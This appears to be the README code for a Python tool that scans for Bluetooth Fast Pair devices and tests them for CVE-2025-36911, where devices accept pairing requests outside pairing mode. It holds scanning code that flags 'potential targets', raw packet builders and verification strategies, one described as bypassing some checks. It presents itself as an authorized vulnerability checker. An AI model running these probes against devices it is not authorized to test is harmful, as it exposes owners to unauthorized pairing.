# Install
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .

# Run interactive CLI
whisperpair

╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩  ╚═╝╩╚═╩  ╩ ╩╩╩╚═

────────────── Main Menu ──────────────

  1  Scan      Discover Fast Pair devices nearby
  2  Verify    Test device vulnerability (requires authorization)
  3  Info      Get detailed device information
  4  About     Learn about CVE-2025-36911
  0  Exit      Quit the application

Select option [1]:

import asyncio
from whisperpair import scan_devices, verify_device, get_device_info

# Scan for Fast Pair devices
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
    print(f"{d.address} - {d.name} - Risk: {'HIGH' if not d.is_in_pairing_mode else 'Low'}")

# Find only vulnerable devices (not in pairing mode)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))

# Verify a specific device (REQUIRES AUTHORIZATION)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
    print(f"VULNERABLE - Provider: {result.provider_address}")

# Get device info
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"Model: {info['model_name']}")

from whisperpair import (
    # Scanner
    FastPairScanner,
    FastPairDevice,
    
    # Client  
    FastPairClient,
    VerificationResult,
    
    # Protocol
    KeyBasedPairingRequest,
    KeyBasedPairingResponse,
    PairingRequestFlags,
    parse_bluetooth_address,
    parse_kbp_response_multi_strategy,
    
    # Crypto
    FastPairCrypto,
    aes_128_encrypt,
    aes_128_decrypt,
    generate_account_key,
    
    # Constants
    FAST_PAIR_SERVICE_UUID,
    KEY_BASED_PAIRING_CHAR_UUID,
    KNOWN_MODEL_IDS,
)

# Custom scanner with callbacks
def on_found(device: FastPairDevice):
    if not device.is_in_pairing_mode:
        print(f"[!] Potential target: {device.address}")

scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())

# Build raw protocol packets (flags 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build()  # 16-byte plaintext

# Multiple verification strategies available:
# - strategy_raw_kbp()      - flags 0x11, works on most vulnerable devices
# - strategy_with_seeker()  - flags 0x02, includes seeker address
# - strategy_retroactive()  - flags 0x0A, bypasses some checks
# - strategy_extended()     - flags 0x10, for newer devices

# Full custom flow (AES key optional - response detection alone indicates vulnerability)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
    model_id = await client.read_model_id()
    result = await client.verify_pairing_behavior()  # No key needed for detection
    if result.response_received:
        print("VULNERABLE - device responded when it shouldn't")

python examples.py scan              # Basic scanning
python examples.py vulnerable        # Find vulnerable devices
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom            # Scanner with callbacks

whisperpair

# Scan for devices
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15

# Get device info
whisperpair info AA:BB:CC:DD:EE:FF

# Verify vulnerability (requires flags)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized

# Learn about the vulnerability
whisperpair about

EXPECTED: Device checks "Am I in pairing mode?" → NO → Reject
ACTUAL:   Device accepts request regardless of mode state

graph TD
    subgraph Packet["Key-Based Pairing Request (16 bytes)"]
      direction LR
      B0["0x00"]
      B1["0x11"]
      MAC["MAC: 6 bytes"]
      Salt["Salt: 8 bytes"]
    end

    B0:::byte -- "Message Type" --> Desc0["Key-Based Pairing Request"]
    B1:::byte -- "Flags" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]

    classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;

DIY_WhisperPair/
├── src/whisperpair/
│   ├── __init__.py      # Public API exports
│   ├── scanner.py       # BLE device discovery
│   ├── client.py        # GATT client & verification
│   ├── protocol.py      # Packet builders
│   ├── crypto.py        # AES-128, ECDH, keys
│   ├── constants.py     # UUIDs, Model IDs
│   └── cli.py           # Interactive CLI
├── examples.py          # Copy-paste code snippets
├── security_demo.py     # Standalone verification demo
├── LEGAL.md
└── README.md

git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
pip install -e .